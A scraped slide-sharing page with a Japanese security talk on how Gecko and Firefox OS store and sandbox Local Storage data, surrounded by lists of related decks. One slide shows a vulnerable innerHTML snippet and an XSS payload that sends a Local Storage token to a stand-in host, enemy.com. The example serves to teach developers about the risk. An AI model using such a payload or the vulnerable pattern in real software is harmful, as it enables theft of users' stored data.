Soumettre la recherche
Mettre en ligne
GeckoのLocal Storageについて調べてみた
•
4 j'aime
•
3,284 vues
Muneaki Nishimura
Suivre
2013年12月19日に開催される「FxOS Gecko勉強会 その2 」の発表資料です。 2014年6月23日、アップデートしました。
Lire moins
Lire la suite
Technologie
Signaler
Partager
Signaler
Partager
1 sur 12
Télécharger maintenant
Télécharger pour lire hors ligne
Recommandé
Firefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみた
Muneaki Nishimura
モバイルOSとWeb標準とそれらへのアプローチ
モバイルOSとWeb標準とそれらへのアプローチ
Kisato
4th tokushimaapp
4th tokushimaapp
健一 辰濱
docxをmdで書こう
docxをmdで書こう
Yukimitsu Izawa
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
Takeshi Komiya
Fx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめ
Masami Yabushita
ひとりsphinx
ひとりsphinx
(^-^) togakushi
How to spread reST and Sphinx
How to spread reST and Sphinx
Takanori Suzuki
Recommandé
Firefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみた
Muneaki Nishimura
モバイルOSとWeb標準とそれらへのアプローチ
モバイルOSとWeb標準とそれらへのアプローチ
Kisato
4th tokushimaapp
4th tokushimaapp
健一 辰濱
docxをmdで書こう
docxをmdで書こう
Yukimitsu Izawa
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
Takeshi Komiya
Fx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめ
Masami Yabushita
ひとりsphinx
ひとりsphinx
(^-^) togakushi
How to spread reST and Sphinx
How to spread reST and Sphinx
Takanori Suzuki
Sphinx GO!!
Sphinx GO!!
Go Yamada
Cent7@zabbix2.4を試す
Cent7@zabbix2.4を試す
masayoshi shiraishi
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxで社内勉強会(Git)の 資料を作ってみた
Taku SHIMIZU
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012
Takayuki Shimizukawa
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
Takeshi Komiya
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
Go Yamada
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
Takeshi Komiya
Sphinxの使い方事例
Sphinxの使い方事例
Go Yamada
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100
Go Yamada
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Takeshi Komiya
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjp
Takeshi Komiya
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた
Iosif Takakura
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01
Takeshi Komiya
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
Takayuki Shimizukawa
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメント
Iosif Takakura
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活
dynamis
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017
Yoshitaka Seo
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014
Yoshiki Shibukawa
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
kk_Ataka
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!
Kenta USAMI
コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略
fisuda
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリ
Yossy Taka
Contenu connexe
Tendances
Sphinx GO!!
Sphinx GO!!
Go Yamada
Cent7@zabbix2.4を試す
Cent7@zabbix2.4を試す
masayoshi shiraishi
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxで社内勉強会(Git)の 資料を作ってみた
Taku SHIMIZU
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012
Takayuki Shimizukawa
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
Takeshi Komiya
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
Go Yamada
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
Takeshi Komiya
Sphinxの使い方事例
Sphinxの使い方事例
Go Yamada
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100
Go Yamada
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Takeshi Komiya
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjp
Takeshi Komiya
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた
Iosif Takakura
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01
Takeshi Komiya
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
Takayuki Shimizukawa
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメント
Iosif Takakura
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活
dynamis
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017
Yoshitaka Seo
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014
Yoshiki Shibukawa
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
kk_Ataka
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!
Kenta USAMI
Tendances
(20)
Sphinx GO!!
Sphinx GO!!
Cent7@zabbix2.4を試す
Cent7@zabbix2.4を試す
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxで社内勉強会(Git)の 資料を作ってみた
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
Sphinxの使い方事例
Sphinxの使い方事例
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjp
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメント
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!
Similaire à GeckoのLocal Storageについて調べてみた
コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略
fisuda
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリ
Yossy Taka
Pbox on softlayer
Pbox on softlayer
Shuichi Yukimoto
Firefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジー
dynamis
Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するには
goccy
Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)
dynamis
Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術
Makoto Kato
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Noritada Shimizu
Client Side Cache
Client Side Cache
Toru Yamaguchi
play framework 勉強会 in 関西
play framework 勉強会 in 関西
Shinichi Kozake
テスト
テスト
Masashi Sato
Silverlightをあれこれ紹介
Silverlightをあれこれ紹介
mizusawa
Iecachedata 20130427
Iecachedata 20130427
彰 村地
Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04
敦志 金谷
【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのか
Hibino Hisashi
Durable function storage provider
Durable function storage provider
Kazunori Hamamoto
Firefox 学生向けアドオンパック
Firefox 学生向けアドオンパック
Kosei Moriyama
OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門
irix_jp
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Citrix Systems Japan
Flash airでスマートロック!
Flash airでスマートロック!
Takuya Noaki
Similaire à GeckoのLocal Storageについて調べてみた
(20)
コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリ
Pbox on softlayer
Pbox on softlayer
Firefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジー
Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するには
Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)
Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Client Side Cache
Client Side Cache
play framework 勉強会 in 関西
play framework 勉強会 in 関西
テスト
テスト
Silverlightをあれこれ紹介
Silverlightをあれこれ紹介
Iecachedata 20130427
Iecachedata 20130427
Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04
【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのか
Durable function storage provider
Durable function storage provider
Firefox 学生向けアドオンパック
Firefox 学生向けアドオンパック
OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Flash airでスマートロック!
Flash airでスマートロック!
Plus de Muneaki Nishimura
Find Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug Bounty
Muneaki Nishimura
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
Firefoxの倒し方
Firefoxの倒し方
Muneaki Nishimura
Webプラットフォームのセキュリティ
Webプラットフォームのセキュリティ
Muneaki Nishimura
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話
Muneaki Nishimura
Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話
Muneaki Nishimura
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
Muneaki Nishimura
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話
Muneaki Nishimura
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSP
Muneaki Nishimura
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program Rebooted
Muneaki Nishimura
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティ
Muneaki Nishimura
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty Program
Muneaki Nishimura
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門
Muneaki Nishimura
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Muneaki Nishimura
Plus de Muneaki Nishimura
(14)
Find Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug Bounty
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Firefoxの倒し方
Firefoxの倒し方
Webプラットフォームのセキュリティ
Webプラットフォームのセキュリティ
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話
Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSP
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program Rebooted
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティ
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty Program
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Dernier
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
Ryo Sasaki
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Yuma Ohgami
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
Toru Tamaki
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
taisei2219
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
Toru Tamaki
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
Hiroki Ichikura
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
Toru Tamaki
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
sugiuralab
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
iPride Co., Ltd.
Dernier
(9)
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
GeckoのLocal Storageについて調べてみた
1.
GeckoのLocal Storageについて調べてみた FxOS Gecko勉強会
その2 2013.12.19 @ Mozilla Japan オフィス 2014.06.23 Updated
2.
2 自己紹介 本発表は私の個人的な調査に基づくものです。 内容に誤りがあるかもしれませんがご了承ください 名前 西村 宗晃
(にしむねあ) ・https://www.facebook.com/muneaki.nishimura 職業 セキュリティエンジニア ・セキュア開発のコンサルティング ・Android端末~アプリの開発支援
3.
3 Local Storageとは • HTTPクライアントに永続的なデータを保存する機能 ↔
Session Storage : セッション(ウィンドウが閉じるまで)の間だけ有効なデータを保存 • W3CのWeb Storage仕様の一部 ⁃ 元々はHTML5仕様の一部だったが、現在は独立 • key-value形式によるデータ管理 localStorage.setItem("foo","bar"); var foo = localStorage.getItem("foo"); // foo = "bar"
4.
4 GeckoにおけるLocal Storageの実装① • Local
Storageのデータは1つのSQLiteファイルに保存 ⁃ Firefoxブラウザ (Mac): ~/Library/Application Support/Firefox/Profiles/{profile}/webappsstore.sqlite ⁃ Firefox OS: /data/b2g/mozilla/{profile}/webappsstore.sqlite • webappsstore2テーブルのレコードとして保存 ⁃ 1組のkey-valueデータが1レコードに対応
5.
5 GeckoにおけるLocal Storageの実装② scope key
value secure owner moc.elpmaxe.:http:80 foo bar ※moc.elpmaxeは example.comを逆さにしたもの • scopeにより各オリジンのLocal Storageを分離 ⁃ 同一生成元ポリシー(RFC 6454)に基づくアクセス保護を実現 ⁃ Firefox OSでは、同一生成元ポリシー+サンドボックスによるアクセス保護を実現(次頁) • 例) http://example.com:80/ で foo=bar というデータを保存した場合 ⁃ scopeフィールドにデータのオリジン(スキーム+ホスト名+ポート番号)を保存
6.
6 Firefox OSにおけるLocal Storageの保護① •
Webアプリのサンドボックス ⁃ 端末内のアプリは固有のオリジン(app://)を持つ ⁃ 他のアプリのLocal Storageはアクセスできない • ブラウザAPIのサンドボックス ⁃ <iframe mozbrowser>で開かれたページはアプリと異なるサンドボックスを持つ ⁃ <iframe mozbrowser>のLocal Storageは呼び出し元のアプリから分離される
7.
7 Firefox OSにおけるLocal Storageの保護② •
これらのサンドボックスによるデータの保護はscopeで実現されている ⁃ = アプリID : Browser Contentフラグ(t/f) : ホスト名 : ポート番号 : スキーム アプリA (オリジン=app://hoge・アプリID=1005) アプリA内部のJavaScriptファイル 1005:f:egoh.:app <iframe src="http://example.com:80"> 1005:f:moc.elpmaxe.80:http <iframe src="http://example.com:80/" mozbrowser> 1005:t:moc.elpmaxe.80:http http://example.com:80 scope
8.
8 Local Storage自体のアクセス制御① • 以下の場合はwindow.localStorageの参照が禁止される ⁃
GeckoのWeb Storage機能が無効化されている場合 ⁃ Preferenceの「dom.storage.enabled」が「false」 ⁃ Cookieの使用が無効化されている場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「拒否」 ⁃ Preferenceの「network.cookie.cookieBehavior」が「使用禁止(2)」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「毎回ユーザーに確認(1)」 ⁃ <iframe>にsandbox属性が適用されている場合 ⁃ ただしallow-same-originトークンが指定されていない場合のみ
9.
9 Local Storage自体のアクセス制御② • 以下の場合はデータがストレージに保存されない(RAMにのみ保存される) ⁃
Cookieがセッションの間のみ有効である場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「セッション中のみ許可」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「ブラウザ終了時まで保存(2)」 ⁃ プライベートブラウジングモードで閲覧中の場合
10.
10 アプリのLocal StorageとXSS脆弱性① • アプリにXSS脆弱性があるとLocal
Storageのデータは盗み出せてしまう ⁃ CookieのようにJavaScriptからのアクセスを禁止する仕組みが無いため • Firefox OSのアプリにはXSSの保険的対策としてCSPが適用されている ⁃ しかしPrivileged AppのCSPには「unsafe-inline」が指定されているので DOMツリーにJavaScriptコードを出力しても動作してしまう (次頁参照) ⁃ Firefox OS v1.2のPrivileged Appでは「unsafe-inline」が外された模様 ⁃ XSSでLocal Storageを盗み出すのは困難になった
11.
11 アプリのLocal StorageとXSS脆弱性② • 以下のようなコードがあるとLocal
Storageのデータを盗まれてしまう var req = new XMLHttpRequest({mozSystem: true}); req.open('GET', destination, true); req.onreadystatechange = function(e) { var contact = JSON.parse(req.responseText); document.getElementById("email").innerHTML = contact.email; }; req.send(null); {"email":"<img src='d.png' onerror='document.location.href=¥"http://enemy.com? token=¥"+localStorage.getItem(¥"key¥");'>"} 脆弱なアプリのJavaScriptコード例 サーバがアプリに送るJSONデータ(攻撃コード)
12.
12 宣伝:本を書きました「狐物語」 タイトル 狐物語 ページ数 68ページ 価格
1,000円(イベント頒布価格) 表紙 イラスト しのめり / @shino_merry デザイン siosio 目次 第一話 がいあハックス @bathtimefish 第二話 あぷりサポート @cattaka_net 第三話 すまほツイリオ @junkpot1212 第四話 もじらスライス にしむねあ 第五話 かえんワールド @meco300 URL http://techbooster-c85.appspot.com/#foxtory C85 3日目 西す24a TechBoosterにて発売
Télécharger maintenant